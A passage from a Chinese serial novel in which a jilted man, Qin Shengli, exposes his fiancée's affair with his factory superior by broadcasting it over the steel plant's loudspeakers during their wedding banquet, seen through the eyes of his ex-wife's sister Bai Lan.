但两孩子还小不太懂发生什么事情。大一点的小芬认出了秦胜利的名字，还傻乎乎指着那名字喊：“妈妈，妈妈。你看，这是爸爸的名字。” 小一点的小芳听到爸爸两个字，眼前一亮。立刻看向妈妈：“妈妈，妈妈，爸爸呢，爸爸呢？” 温馨的气氛因为这一声声的爸爸，顿时变得沉闷起来。 白兰觉得这种场面特别难应对。两孩子一个6岁一个4岁。因为大人的刻意隐瞒，都不太知道父母已经离婚这个事情。 离婚后两孩子几乎就没见过秦胜利，每次问大人就说爸爸出门工作去了。 确实也是工作去了。 据白兰知道的，因为离婚这件事情的影响，秦胜利在离婚后的第一个月几乎都在出差。之后回来也没跑到白家人跟前来。本来以为这人会这样沉寂下去。没想到再一次出现，直接给他们来了一个王炸。 —— “真是的，要结婚居然还好意思寄请柬过来？” 白爸爸咬牙切齿地盯着那封大红色请柬，只觉得秦胜利的脸皮还真厚。要结婚就结婚，他们老白家不稀罕知道。 这头白莲很快又把两孩子的注意力从“爸爸”转移到其他地方了。看着孩子进了里屋玩，白莲这才笑笑：“没啥好生气的爸。反正我们都离婚了。他有再婚的自由。就是这请柬寄过来，有点子恶心人。” 白兰没有更同意的呢！ 白梨则是问：“大姐，你不会去吧？” 白莲立马摇头：“当然不去，我去干啥？惹人闲话也得不到好处。他这再婚也好。他那不讲理的妈更加不会惦记小芬、小芳了。” 离婚后，偶尔前婆婆在路上遇到她家两孩子，都会搞些小动作出来。她也不是想要抢回孩子，就纯粹想恶心人而已。白莲其实是真希望对方别再盯着自家两娃。 现在秦胜利要再婚了，以后新儿媳妇可以给前婆婆生十个八个孙子。到时候就没空盯着她家孩子了。 白家众人也觉得这封请柬铁定是来恶心他们的。可惜，他们家都准备把请柬丢垃圾桶，当没事发生就好。 至于去参加对方的婚宴？那是不可能的！ —— 就在白家的气氛恢复正常的时候，院子传来一阵说话声。 白兰从敞开的屋门朝外头看去，发现是秦家人回来了。有邻居在那打听他们一家一整天跑哪里去了。秦婶子就打哈哈聊了几句。 有眼尖的人发现秦堂不在，好奇问了起来。 白兰这边同样好奇地拉着秦艳到自己屋里坐下来。这家伙一回来就跑到家里来找自己。 “你哥呢？” 秦艳毫无形象地瘫坐在椅子上。听到这话直接道：“我哥留在我大堂哥家了。” 白兰听到大堂哥三个字愣了愣，随即反应了过来：“你们家今天都在秦胜利家啊！” 同一时间，秦艳也在开口：“我跟你说，我大堂哥要结婚呢！” 两人异口同声，说的事儿都跟秦胜利有关。这让两人都有点相对无言了。 秦艳烦躁地挠了挠脑袋。想到大堂哥家里的那些破事儿。秦艳决定先问其他事儿。 “我先问问，我们家走了后，院子有发生什么事儿不？” 白兰被秦艳这闪躲的态度弄得有点好奇了。这秦胜利家到底出了什么事儿呢？但秦艳暂时不想说，白兰也就先把高青青进门后一系列的事情说了出来。 当听到高青青还上门想给她家送喜糖，秦艳被吓了一跳。 “她还真是不要脸！” 白兰十分同意。高青青的脸皮确实有点厚。 “幸好我妈让我大哥这两天请假，暂时住在钢厂那边。” 之前秦艳还觉得她妈太大惊小怪，现在看来她妈简直是有先见之明了。 两人拉拉杂杂说了几句，秦艳这才拍了拍自己脑袋，皱巴着脸道：“我那大堂哥秦胜利要结婚了。” —— 说完，见白兰还是一副镇定的模样，秦艳这下是真被惊讶到了。 “你怎么一点反应都没有。秦胜利，你的前大姐夫要再婚呢耶！” 白兰叹气：“今天我家收到了秦胜利结婚的请柬。” 秦艳跳起来：“不可能啊！大堂哥不会给你们家寄请柬的。” 虽然秦胜利这人不算好人，但也不是坏人。更加不是小人。要真寄请柬到白家，今天就不会在饭桌上跟他妈抬杠了。 白兰一看秦艳的样子，就琢磨出肯定发生了什么。 而秦艳也没卖关子的意思。立马就跟白兰吐槽：“你是不知道哟，我们家今天上我那大堂哥家，发现他们家都快从姓秦改姓王的了。” 白兰立马想到了一个可能。而秦艳已经马上说了出来：“那王娟居然有了孩子，说是都两个多月了。真是恶心，说是第一次跟大堂哥就怀上了。” 这些事儿是那个叫王娟的女人特意在她跟前说的。不然，这种什么男女睡觉的事情，父辈根本不可能在秦艳这么一个未婚姑娘跟前提。 “她就是故意恶心我，知道我跟白莲姐认识。又是白莲姐的邻居。你家收到请柬，说不定就是她搞的鬼。” 白兰心想，果然是真有了。怪不得忽然就说要结婚呢！ 之前那所谓的唯一一次出轨，秦胜利是想拿钱堵住王家的嘴巴。不过那次被白兰跳出来抢走了那些钱。之后白兰就不知道秦胜利是怎么摆平王家人的了。 她还以为这两个多月那么安静，秦胜利是把王家人给搞定了。没想到王家人居然给秦胜利来了一个王炸。 这可真是…… 幸好，反正不管秦家出什么事情。他们家反正是不去那什么狗屁婚宴的。 其实，秦艳还想跟白兰说秦胜利一点都不像想结婚的样子。他们中午在秦家吃的饭，那会子秦胜利的表情特别难看。黑黑臭臭没有个笑脸。而且，饭桌上，全是王家兄妹在跟大堂哥的亲妈，聊结婚的一些安排。 就好像结婚的人不是大堂哥似的。 总之，今天虽然避开了高青青这个牛皮糖。但跑去秦胜利家，对他们家来说也不算是件好事情。因为太烦人了。不过，大堂哥愿意留大哥在那住两天。总算是个好消息。 两人边说话边从敞开我屋门看着院子。而她们的斜侧边也有人一直往她们所在屋子瞧。 —— “爱民哥啊！白家那姑娘跟秦家那姑娘，关系怎么这么好啊！” 胡爱民不耐烦地想把窗户关上：“她们从小一起长大，关系就好了。这没什么大不了的。女人的关系不就是那么回事。” 说着，胡爱民一只手去关窗，另外一只手一直往高青青的衣领下塞。 高青青被恶心地顾不上去寻找秦堂的踪迹，缩头缩脑躲闪了起来。 胡爱民见状，脸色一黑。这次一个用力，砰一声就把窗户给关上了。关上后，他人就直接朝高青青扑了过去。 高青青伸手去挡，顺口就道：“马上就要吃晚饭了。咱吃完晚饭先……” 胡爱民不愿意松手：“先来一次再吃饭也来得及……”说着，一副猪哥样就想亲下去。 高青青赶紧伸手挡住，直接把人推开跑到堂屋去了。 胡爱民立马就追了出去。但高青青已经拉着胡寡妇嘀咕了几句。 随后，胡寡妇不乐意地撇嘴，最后还是让儿子这几天安分点。高青青这身体要不舒服几天，别缠着她。 有了胡寡妇的发话，晚上睡觉总算是安生了 一点。但是，高青青一点都不敢睡觉。生怕边上人伸手过来。 —— 相较于高青青的胆战心惊，白家人就显得从容多了。 白兰这头得知了秦胜利结婚的原因，转头就告诉了全家人。家里人知道后，一个个都再次感叹幸好离婚离得早。不然这孩子爆出来，真是大大的丑事。 这一庆幸，大家睡得更加好了。 第二天起来，白家人一副无事发生的模样，该上班的上班，该上学的上学。以为事情就这样过去了。谁知道傍晚，秦胜利居然直接登门了。 对方来的时候，大杂院不少人家都在家里吃饭。所以没什么人看到他过来。这人一进门，家里人都愣住了。除了两个小孩。 小芬跟小芳见到爸爸，自然十分高兴。拉着对方叽叽喳喳说了好一会儿话。直到白大姐让白梨把两孩子领出去走走。这才坐下问秦胜利的来意。 “我那结婚请柬是我妈偷偷寄过来的。” 一开口，秦胜利就解释了请柬的事情。白兰在边上观察着秦胜利。 说实在，对方比之前看着要瘦了不少，脸颊都凹进去了。而且还有浓重的黑眼圈，瞧着这些天日子过得并不怎么样。 秦胜利也没啰嗦，下一句居然是：“白莲，我希望你来参加这一场婚宴。” 一直忍耐的白爸爸终于忍不住跳起来，抄起边上的搪瓷杯就想砸过去。但是白大姐却阻止：“爸，你让他把话说完。” 白莲觉得秦胜利的状态不太对头，眼神中带着些她看不懂的东西。 秦胜利也没解释太多，只道：“白莲，你要相信我。本来我没想让你来的。但我妈都把请柬寄给你了……呵呵……” 冷笑了两声，秦胜利就从随身的包里拿了一个厚厚的牛皮纸袋，直接递到白莲跟前：“这是给两孩子的，你收好。” 白兰一眼就看出里头装的十有八九就是钱票。那么厚厚一大包，起码得有上千了。忽然拿这么多钱过来，实在蹊跷。 白莲更是直接问：“你哪来得这么多钱？” 秦胜利摇头：“你别问，这钱的来路正，没有任何问题。就是让你留着给两孩子的。我有事先走了。你记得，这个周末一定要来钢厂。我会再给你送一份大礼的。” 说完，不等白家人反应，秦胜利就这样踏着夜色消失在白家人眼中。 “他……他不会做什么傻事吧！”好一会儿，刚刚暴怒的白爸爸问出了这么一句。 白兰同样觉得刚刚秦胜利的状态不太对劲，居然在冷静中隐约透露出一丝疯狂。 白莲跟秦胜利生活了好几年，自然更加了解对方。知道肯定有什么事情发生了。虽然离婚了，但对方是两个孩子的爸爸，白莲不希望对方出事。 她准备第二天直接去找秦胜利问问到底怎么一回事。 但白莲注定要失望了。 因为接下来几天，秦胜利并不在单位，听说有事请假了。 这结果更加让白莲觉得心惊。 就在这样的气氛中，时间很快就来到了周末。 第26章 第26章疯狂的秦胜利2 白兰是真没想到过，自己有一天居然会陪着大姐一起，去参加前大姐夫的结婚席面。这事儿要发在小金书，怕是有一堆热心姐妹给出各种建议。比如把大姐打扮得漂漂亮亮，顺便找个大帅哥陪着去。这才能够狠狠打对方的脸。 但现实是，这一次来参加这个婚宴，只有她跟大姐两人。她们两打扮得普普通通，看起来就跟其他去吃席的人没两样。 当然，大姐之所以来。除了因为秦胜利的亲自邀请外，还有一个原因就是接连几天找不到秦胜利。他送过来的那一千五百块钱成了烫手山芋。大姐担心了好几天，真是怕秦胜利走了什么歪路子。 “大姐，放心。看样子今天这席面来的人会很多。不太像会发生什么事情的样子。” 席面是在钢铁厂的工人食堂摆的。这年头大单位的人结婚，都是直接在单位食堂请客。邀请的客人一般是直属领导，同部门的同事，亲戚朋友以及一些关系好的邻居。 还没靠近食堂，白兰就被眼前黑压压的人群吓了一跳。心想她是知道工人食堂面积很大，也知道钢厂是万人大厂。但今天来吃席的人怎么看着都有好几百了。这年头不是提倡节约吗？怎么还会弄这么大的阵仗出来？ —— 这时候有人看到白莲，惊讶地凑了过来：“白莲，你怎么来呢？” 白莲相当淡定：“收到请柬我就来了。” 来人没想到白莲是这么一个态度，愣了愣，一副不知道该怎么接话的样子。 白兰趁机询问这里怎么那么多人。 来人连忙接话：“有些人是来看热闹的。”说着，这人悄咪咪看了白莲一眼，这才讪讪道：“就是秦胜利他妈知道不？这人大嘴巴，到处显摆儿子离婚也不耽误找个大姑娘。” 这人说完，急哄哄就走了。生怕留在这里会被白家姐妹围攻。 但白兰跟白莲都是一副淡淡的模样。白兰更是无语地看向大姐：“秦胜利他那妈不会待会儿跑到你跟前，说些有的没的吧！” 白莲摇头：“随便她。”说完，拉着白兰加快脚步朝食堂大门口走去。 很快，就看到红光满面的秦胜利。 不知道是不是人逢喜事精神爽，眼前的秦胜利跟几天前比起来，就像换了一个人似的。身上的衣服是单位的工服，只在胸口别着一多红色的纸花。人没有胖，但神采飞扬。对着进来的客人，一个个过去握手欢迎。笑容一直都没下来过。 总之，一切看起来都挺正常的。跟前几天那状态判若两人，真是奇了怪了。 白兰不动声色地跟着大姐走过去。看大姐一副要跟秦胜利说话的模样。但是，秦胜利只笑笑说要招待客人。让白莲姐妹两先进食堂等着。 大门口也不好多说话，太多人看着了。白兰伸手就把大姐往里头拉，边走边劝：“大姐，估计没什么大事儿。秦胜利今天这状态看着挺好的。有新郎官的模样。” 白莲看着已经转头继续接待客人的秦胜利，总觉得对方哪里怪怪的。 不过很快，白莲也没时间想太多了。因为一进食堂，果然马上就遇到了不少熟人。 —— 有以前办公室的同事，更有不少秦家的亲戚。这些人看到白莲，一个个表情都跟见了鬼似的。倒是秦胜利他妈赵大妈一听白莲来了，就急哄哄冲了过来。 “哎哟，你还真来啦！” 白莲打起精神：“你都敢给我发请柬了，我自然也敢来。” 这话相当强硬，让刚刚惊讶的人更加惊讶了。纷纷感叹白莲这婚一离，腰杆子都硬了起来。 也有人在那嘀嘀咕咕，说她一个离婚带两拖油瓶的。要再找几乎没可能。不像秦胜利，转头就能找个18岁大姑娘。 众人议论纷纷，白莲不为所动。 这时候，作为亲戚早早来到食堂的秦艳也凑了过来。 “哎，你们还真来啦！”见白莲在跟人说话，秦艳拉着白兰嘀咕了起来。 白兰点头，小声问：“你大哥那边有说什么不？”这几天秦堂就没回来过大杂院，一直住在秦胜利家里。要秦胜利有什么动作，秦堂多多少少能知道一些。 秦艳摇头：“大堂哥出门好几天了。没人知道他干啥去。不过昨天他早早就回来。搬了几坛子酒，说是从一个老师傅手里头买来的。今天情况要用到席面上。” 结婚喝酒这手笔有点大啊！白兰心想秦胜利居然舍得花大价钱买酒，看着对今天挺重视的。那么，到底是不是自己多心呢？ 她摇摇头，朝周围看了几眼：“怎么好像没看到那个王娟啊！” 秦艳一听就撇嘴：“人家身子精贵，在边上借了屋子休息呢！她人是不在这儿，但王家人可一个不落全来了。” 顺着秦艳所指的方向看过去，白兰果然看到 食堂有一个角落围着不少人。这些人跟其他人格格不入，满脸骄傲激动又拘谨的模样。 倒是那个王娟的亲哥王浩，这会儿已经凑到门口，帮着秦胜利一起接待到来的领导。那热切的样儿，不知道的还以为今天他才是新郎官儿呢！ —— 白兰刚想跟秦艳吐槽那个王浩，结果就看到一个眼熟的中年男人一闪而过。她也没在意，因为马上她就看到了更加熟悉的人。 “哎哎哎，你三姐怎么也来了！” 白兰看向进来的白苹，摇头：“不知道。” 白苹已经好些天没回家了，谁也不知道她现在在干什么。而那头的白苹同样看到白兰，表情难看。但居然直接朝她走了过来。 “你怎么来这里？难道大姐也来呢？她怎么好意思来？” “我怎么不好意思。我做人堂堂正正，没什么见不得人的。”身后传来大姐那锵锵有力的回应。白苹听到后脸色十分难看。 “大姐，这可是你前夫结婚的席面。你来了也不怕人家说啊！难道你又要利用参加前夫的婚宴来上报纸不成？” 越说白苹就越觉得是那么一回事。 白莲冷笑一声：“是你又能怎样。这不是跟你学的吗？” 白苹被这话呛得说不出话来了。她发现这大姐离婚后，不止嘴巴，就是肚子也开始长牙了。 白兰见状，想拉着大姐远离白苹这个疯狗。但就在这个时候，就听到秦胜利在喊：“妈，人来得差不多了。去把王娟叫出来。” 赵大妈一听，这才收拾刚刚被白莲气得难看的脸色。朝她们这边丢下一个得意的眼神。就准备朝外面走去。 白兰见状再次无语。心想今天来这里到底是为了啥啊！ 但马上，白兰就知道自己没来错地方。 —— “滋啦……滋啦……” 突兀的电波声音在热闹的食堂回荡，不少人都被这声音弄得顿了一下。好像有那么一秒钟，整个食堂都安静了一下。随即，人们互相对看，摇头失笑。都觉得刚刚好像是错觉。 但马上，一连串的滋啦声此起彼伏。大伙儿纷纷抬头看向食堂各个角落安置的大喇叭。 这些大喇叭属于厂里的宣传部门。平时会在食堂开饭期间，播放一些音乐或者广播。而广播室正好就设置在食堂边上。 这时候，有人朝赵梅香打趣道：“赵主任，这今天食堂还有广播任务啊！” 赵梅香是钢铁厂宣传科主任，同时她还有另外一个身份，就是钢铁厂宋厂长的媳妇，也就是宋国平的亲妈。 当然，这会儿赵梅香同志并不知道白兰也出现在这里。她只朝边上的其他厂领导摇头。心想哪里有什么广播任务。今天这里都快要被包场了。也不知道这老秦家哪里有那么大的脸面。让老肖亲自把他们这些主任都邀请过来。 她本来也不想过来的，她一个厂长夫人，犯不着参加这样的席面。但老肖的媳妇家里关系硬。之前儿子宋国平惹出的事情，到现在还没彻底摆平。赵梅香怕再得罪人，所以今天才过来的。 他们这一桌坐着的都是钢厂各个部门的主任。见赵梅香摇头，大家就都笑着说可能有人不小心打开了这些大喇叭的开关。 有人到处看的时候发现同桌的老肖不在位置上。随口问身边的人。 “哦，老肖啊！他十分钟前就说要上厕所。” 这话一出，又是一阵哄堂大笑。 马上，滋啦滋啦的声音又响了起来。赵梅香烦躁，起身准备去把大喇叭关上。就在这个时候，滋啦滋啦的声音忽然消失。 不等众人反应过来，一阵暧昧的水啧声，通过大喇叭传到了四面八方。不止食堂，在这一刻，整个钢厂设置的几十个大喇叭，突兀地响起了这一阵声音。 很多人都没反应过来，这到底是怎么一回事，马上又是一阵阵嘻嘻索索的声音传来。然后，就是一阵啪啪的沉闷声。 有经验的人已经多少反应过来到底是怎么一回事。立马就朝身边的人打起了眼色。心想这谁啊，也太猴急了。等被抓到，不说丢脸，就是人估计也要被拉去教育了。 而工人食堂这边，这会儿好几个人都从位置上站了起来。表情惊恐愤怒不一而足。 他们之所以这个反应，是因为他们知道，今天要结婚的新娘王娟，这会儿就在广播室那休息。 —— 秦胜利的亲妈赵大妈知道准儿媳妇王娟就在广播室。她本来也准备去把人叫出来开席的。 当她听到广播传来这样暧昧的声音后，心中立刻大骂这王娟不要脸。大白天就勾着儿子干那事儿。心里暗暗发誓，等今天过后，一定要把这不要脸的小媳妇好好炮制一番。 但同时她也知道现在啥也不能说，还必须立刻过去把广播的开关给关了。 只是，当她抬头看向控制开关的地方时，发现儿子秦胜利居然在那。 一个难以置信的念头涌上心头。 赵大妈立刻窜了起来，跌跌撞撞朝儿子那跑过去。心中则是不停地呐喊：不是的，不是这样的。是自己听错了，肯定是听错了。 自己的儿子怎么可能会被戴绿帽子。 十分突兀地，赵大妈忽然想起那天王娟上门说怀孕，儿子当时的神情。 那时候，儿子的表情十分难看，有点发青。一直在说不可能不可能。 而自己当时是怎么说来着？ 赵大妈只觉得短短的路程好远，怎么自己还离儿子那么远。但她脑子这会子转悠得特别快。她马上就想起当时自己的反应。 记得当时自己是说，好不容易有孩子了，一定要生下来。说不定就是孙子了。孙子不能没有个身份，让儿子快点跟王娟结婚。免得这孩子出生不光彩。 儿子不愿意，她就联合自家男人，跟公婆一起给儿子做思想工作。然后很快，儿子就同意了。 王娟虽然是个农村姑娘。但才刚满18岁，年轻漂亮的大姑娘不说，亲哥还是那个会说话的王浩。这样的人家，虽然不算好，但是配儿子这个二婚头绰绰有余了。更加不用说两人居然都睡过，肚子也大了起来。 要是不娶王娟，王娟就要去厂里告状。 怎么算，自家都是娶了王娟最划算。 但是，现在大喇叭到底是怎么一回事？会不会是自己搞错？ 一定是搞错了。不然，王娟这样的农村姑娘，根本不敢搞破鞋。 但马上，赵大妈的侥幸被彻底击垮。 —— 只见站在开关前的儿子秦胜利，朝她露出一个大大的笑容。那笑容是赵大妈这辈子没有见到过的。 然后四面八方传来了王娟那经过扩音，而有点失真的声音。 “肖哥，之前说好给我哥安排工作的。现在怎么还没消息？他在车间天天都怕被钢水给伤到。我爸妈也特别担心。” 王娟的声音断断续续，还伴随着各种喘息。这下真是傻子都知道这女人在干什么好事了。 而马上，王娟口中的肖哥发出嘿嘿的银笑。笑声特别恶心，所有听到广播的人都起了一身鸡皮疙瘩。 “宝贝，好好把咱儿子养好了。等你这婚结完了，你大哥的工作也就妥了……” 接着又是一阵嘻嘻哈哈的喘息声…… 从广播的滋啦声音出现，再到这简短的对话，整个过程听着好像挺久的。对某些人来说更是度日如年。但对于吃瓜群众来说，时间不过刚刚过去不到五分钟。 —— 白兰震惊，瞳孔地震。她已经不知道用什么语言来描述自己的震惊了。 天啊噜！神啊！天啊！ 白兰觉得自己要语无伦次了。 她转头看向大姐，大姐已经站起身来看向控制开关那边站着的 秦胜利。 不止白大姐，整个工人食堂的所有人都盯着秦胜利那边。 这些人的目光都充满了同情，特别是看向秦胜利头顶的时候，一个个都露出一副不忍的表情。 而赵大妈这时候嚎叫着朝呆愣的王家人扑了过去。 “该死，你们这些该死的家伙。都怪你们老王家，教出这样不要脸的闺女……” 想到自己逼儿子喜当爹，逼儿子成为绿毛龟，逼儿子成为老王八。赵大妈真是杀人的心都有了。 整个食堂的人就这样看赵大妈跟王家人扭打到一起。老秦家的亲戚也跟着上去帮忙。而广播中那些个恶心声音此起彼伏。 好像过了很久，又好像过了一会儿。总之，坐在领导那一桌的人终于有好几个站起身来。直接朝守着大喇叭总开关的秦胜利大喊：“关了，赶紧关了。” 秦胜利就像没听到似的，傻傻地站在那不动弹。 旁人都以为他这是被吓呆了，也没人去责怪他。有人朝他走了过去，准备去关开关。 也有人朝隔壁广播室走去，希望能把广播室那边的广播关上。 但是，已经来不及了。 众人走出工人食堂，就能看到食堂门口、广播室门口早已经人满为患。 人们议论纷纷，兴奋瞪大双眼盯着屋门紧闭的广播室。好些人对着那门指指点点。有人则是捂着自己小孩的耳朵，生怕那些污糟声音带坏了孩子。 白兰跟着人群走了出来，整个人还在震惊中没有缓过神来。 —— “兰兰……” 一出食堂，迎面就看到许建北跟他朋友曹昌盛朝她们走了过来。 “这里面……” 白兰指着已经看不到的广播室大门，有点语无伦次地看向许建北。 许建北摇头：“我们来的时候，这里就已经聚集了那么多人。真的……” 许建北都说不下去了。这事儿从头到尾真是有够恶心人的了。他知道白兰今天跟她大姐来这里。所以特意今天过来找曹昌盛说话，顺带在附近等着看。免得白兰跟她大姐遇到什么事情没人帮手。 哪成想事情最后的走向会是这样恶心。 —— 这头两人还在说着话，那头赵大妈已经跟王家人打了两个来回。然后朝着广播室这边冲了过来。 本来围在广播室门口的人群，看到赵大妈，纷纷给她让开一条道。 那待遇，就是大明星也没差了。但这样的风光，估计在场没有一个人会羡慕的。 “赶紧开门，给老娘开门……” 只见赵大妈不管不顾，如同炮/弹一般砸向广播室的大门。 这时候的广播室其实并不像后世那样，能用很好的隔音棉进行膈应。早在外面人群围了过来窃窃私语的时候，里面鬼混的两人已经察觉到不对劲。但因为不了解广播设备，两人压根儿不知道他们之间的勾当，已经通过广播传遍整个钢铁厂。 赵大妈砸门时，两人正手忙脚乱穿起衣服。 听到声音，吓得一个哆嗦。 “怎么办？肖哥。那老虔婆来了。” 肖主任也急得满头大汗。他拨拉了一下头顶已经汗湿的几条头发，整个人也有点害怕起来。 主要平时他是个很谨慎的人。不谨慎早就栽跟头了。但是今天也不知道为什么，喝了两杯酒整个人就热血上涌。加上马上就能把王娟安顿在秦胜利那，他就得意忘形起来了。 说起来，秦胜利这人还是他手底下干活比较利索的一个。没想到这平时看着精明的小子，最终会被王浩这小子给坑了进来。 但他可不管这些。反正吃亏的是秦胜利不是他。想到秦胜利这小子以后要给自己养儿子，饶是现在情况好像有点不对劲，肖主任还是忍不住露出一个得意的笑来。 但他脸上的笑容立马就僵住了。 因为那一直被砸却砸不开的大门，忽然被人给打开了。 开门的人正是宣传科主任赵梅香同志。 她脸色铁青，没好气瞪了两眼衣衫不整的两人。随即转身看向自家男人宋厂长。 “老宋，门开了。你们进去把事情给解决了。” 宋厂长脸色同样铁青。他是真没想到好端端的一天，就这样被老肖给毁了。想到那传遍整个钢厂的广播内容，宋厂长整张脸都绿了。 而真正绿帽子上头的秦胜利，也在人群的簇拥下来到了广播室门口。 顿时，整个广播室门口以秦胜利为中心，瞬间清空了一块直径两米的空间。 所有人都看向秦胜利，目光充满了同情。而广播室的两人，压根儿不敢踏出一步。 宋厂长干咳两声，刚想喊带过来保卫科人员，把这些围观的群众疏散。但下一刻，躲在边上的赵大妈已经一个箭步冲了进去。很快，屋里传来了王娟的惨叫声。还有赵大妈那能被和谐的各种骂声。 下一刻，所有人就看到赵大妈拖着王娟的头发，直接把人从里面拉了出来。 直到这一刻，秦胜利这才开口：“妈，你想把人打坏了再赔吗？” 赵大妈听到儿子的声音，如遭雷击。颤颤巍巍道：“儿子，儿子。妈这是给你报仇呢！” 秦胜利语气冷漠：“报仇就不用了。这事儿一个巴掌拍不响。妈……” 赵大妈当然知道还有奸夫要惩处。但是那奸夫是儿子领导的领导。自己怕得罪对方，以后一家人在厂里不好走动。 秦胜利见状，神经质地笑出了声音。笑声十分让人毛骨悚然，所有围观的人齐齐打了个冷颤。 本来准备关上门，把事情在广播室解决的宋厂长也跟着一愣。随即不敢再说什么关门商量处理的事情了。 只听他干咳两声大喊：“保卫科的人过来，把这两个乱搞男女关系的抓去问话……” 一声令下，保卫科的人如同出笼的猛虎，一窝蜂冲进广播室，不到两分钟就把满身肥肉的肖主任给擒拿了出来。 秦胜利见状，居然还拍了两下手掌。那表情活像个局外人。 围观的人一个个都被秦胜利给弄懵了。不少人都怀疑他这是绿帽子上头，人也跟着疯了。 但无论人们是怎么想的，最终当事的奸夫**直接被压着往保卫科去了。而秦胜利作为受害者自然也要跟着过去解决问题。 走之前，秦胜利朝白莲露出一个疯狂的笑容。这笑容一闪而逝，随即化为释然。 这个小细节没多少人注意到。大家的视线都在那被压着的奸夫**身上。 但白兰跟许建北都注意到了。两人确定今天的事情，从头到尾就是秦胜利设的一个局。 这个局，把所有人都网进去了。甚至，受到最大伤害的人就是秦胜利本身。 哦，不对。可能赵大妈觉得自己受到的伤害更深吧！ 因为随着秦胜利的离开，现场只听到赵大妈的哭嚎声。哭声凄厉，显得十分骇人。 白兰听到直摇头，心想要不是赵大妈一直在搞各种小动作，可能很多事情都会不一样吧！ 第27章 第27章疯狂的秦胜利3 “听说了吗？” “天啊！” “哎哟，真是不要脸哦！” “那秦胜利可真可怜！” 还没到大杂院，关于钢厂发生的事情就已经满天飞。 白兰十分佩服这时候人们传播信息的速度。明明没有手机，没有网络，但钢厂发生的事情，愣是传播得人尽皆知。从他们离开钢厂的那一刻起，到上公交车再到下车，这个事儿就一直在耳边回荡。 白兰忍不住又看了大姐一眼，确定大姐并没有太多情绪外露。不禁有点担忧地拉了拉跟着一起回来的许建北。 许建北摇摇头，示意白兰再看看情况。 不过，不等两人交流，胡同已经有邻居发现了白莲。然后，立马就有人凑了过去。 白兰示意许建北帮忙拦一栏，她则是赶紧拉着大姐往家里跑。按照今天钢厂那阵仗，这个事儿没那么容易过去。 白家人都已经得知了钢厂发生的事情，听到外头有人喊白莲回来了 。白爸爸率先从屋里冲了出来，直接过去护着闺女。 许建北则负责断后，把所有人都隔开，最后把门直接关上。 “真是疯了！” 白梨难得地说出这样指责的话来，显然被外头那些人的动静给气到了。 白兰这时候也注意到堵在自家门口的，其实都是一些不熟悉的胡同邻居。他们大杂院的邻居好些已经走出来，正开口赶这些人走。 —— “你们先好好休息，其他事情都不用管。我跟你们妈会处理好的。”白爸爸小心翼翼地看了闺女一眼，生怕闺女被这些破事给影响到。 白莲见家人担心的样子，笑笑摇头：“其实我没事的。之前是担心秦胜利走了歪路。但今天这个事情一出，他就是要走歪路也歪不到哪里去。” 这样说着，白莲其实也觉得自己是不是过于冷静了些。但今天这个事情爆出来后，她是真的大大松了一口气。虽然还是会担心秦胜利，因为她打心眼希望对方过得好。毕竟只有这当爹的过得好，女儿们能得到的实惠才会更多。 今天这事情一出，秦胜利的处境会变得很好，虽然面子会特别不好看。 白爸爸见大闺女这样放松，也跟着笑了起来。笑过后，他心中不免感慨，秦胜利这一次可真是栽了一个大大的跟头。幸好自家闺女跟他离婚了。 白妈妈同样庆幸不已。她在里屋带着两外孙女，听到外头的谈话，露出一个浅浅的笑容来。 两孩子不知道自己爹今天出名了，见姥姥笑也就跟着笑。 一时之间，白家的气氛居然特别的好。 许建北见状，心中感慨，白家的家庭氛围太好了。出了这种事情，一家人互相体谅，就不会有任何过不去的难关。 —— 白家这边一切顺利。而秦胜利那边其实也挺顺利的。 “宋厂长，一切听从组织的安排。组织要怎么处理这两人我都没意见。” 钢厂保卫科里，秦胜利一脸颓丧，站在钢厂众领导跟前说出这么一番话。立马得到了不少人的同情目光。 毕竟这绿帽子带得太瓷实了。而且，很快。不止钢厂人，就是北城甚至是边上的天津卫再到河省，估计都会知道秦胜利头顶绿油油的。 男人一辈子做到这份上，真是生不如死。 面对这些个目光，秦胜利的身子越发矮了下去。这让怀疑他的宋厂长，暂时打消了疑虑。 也是，毕竟正常男人，应该不会想要被人知道自己头上绿油油的。 但是，他媳妇说秦胜利在工人食堂，可是一直守着那大喇叭开关的。 秦胜利感受到了宋厂长怀疑的目光，他表情不变，但心里冷笑。他就是要把那姓肖的钉死了。不然，按照这人媳妇的家世，怕倒霉的人就要变成自己了。 想到这些天的经历，秦胜利再次在心里冷笑。 —— 从发现王娟跟肖主任有不正当关系，到得知王浩接近他的目的，再到自己跟王娟那些个所谓亲密只是一个局。整个过程其实不到一天的功夫。 那会儿他其实想发疯，想把这些欺骗自己的人都给砍了。但想到家人，他又止住了这个疯狂的念头。 本来秦胜利其实还想忍一忍的。就连之前王浩敲过他五百块，也只想着花钱消灾。但是，王娟居然好意思挺着肚子上门来威胁。他妈更是被猪油蒙了心，愣是让自己娶王娟。 说什么儿子儿子，以前秦胜利可能会觉得儿子挺重要的。但是，被逼着喜当爹后，秦胜利觉得什么都不重要了。 既然人都逼到门上了，他秦胜利再忍，那就真成了乌龟王八蛋了。 接下来的事情就顺利成章了。 那个土肥圆肖主任不要脸，还把自己拉下水。那就别怪他秦胜利把事情做绝。 来参加席面的那些人，是他请姓肖的帮忙邀请的。用的理由就是想要让大家见证自己的幸福。 让姓肖的热血沸腾的酒是他买的。为了这酒，他还请了几天假去找。 让王娟跟姓肖的有个场合搞破鞋，他特意请姓肖的帮忙，借来了广播室，用的理由就是给王娟休息。 每个环节都安排妥当，那姓肖的又是那么瞧不起他秦胜利。接下来的事情就顺理成章了。 可惜的是，今天闹的这一出，那姓肖的媳妇一家，居然没人出面。 也是，那家人虽然有点能耐，但想把这个事情掩盖过去，那是不可能的。 几十个大喇叭在万人大厂广播，那么多人听到姓肖的好事。这人不会有翻盘的机会。 而王娟以及王浩这些王家人，同样不会有好下场。 事实也正是这样。 虽然特别不满秦胜利没有及时关闭大喇叭开关，导致事情影响范围那么大，影响程度那么恶劣。但宋厂长不好说他什么。只能立马让保卫科的人审问老肖跟王娟、王浩兄妹。 确定事情的大概后，等不及明天，当天下午就公布了处置结果。 —— 肖主任直接被钢厂开除，还要被压着去游街。之后要送往大西北的农场改造。 王娟因为不是钢厂职工，钢厂无权处置。只是钢厂就有委员会。委员会直接就把她给处理了。同样是游街，然后送大西北改造农场。 至于王浩，也被单位开除了。 至此，这个事情表面上算是告一段落。但后续影响特别大。持续了一周，热度依然没有消散的迹象。 这一周白家人过得挺热闹的。不少人都上门来打听具体细节。当然，白家隔壁的老秦家，作为秦胜利的亲戚，受到的关注也不比白家少多少。 总之，这一周两家人过得那叫个热闹非凡。 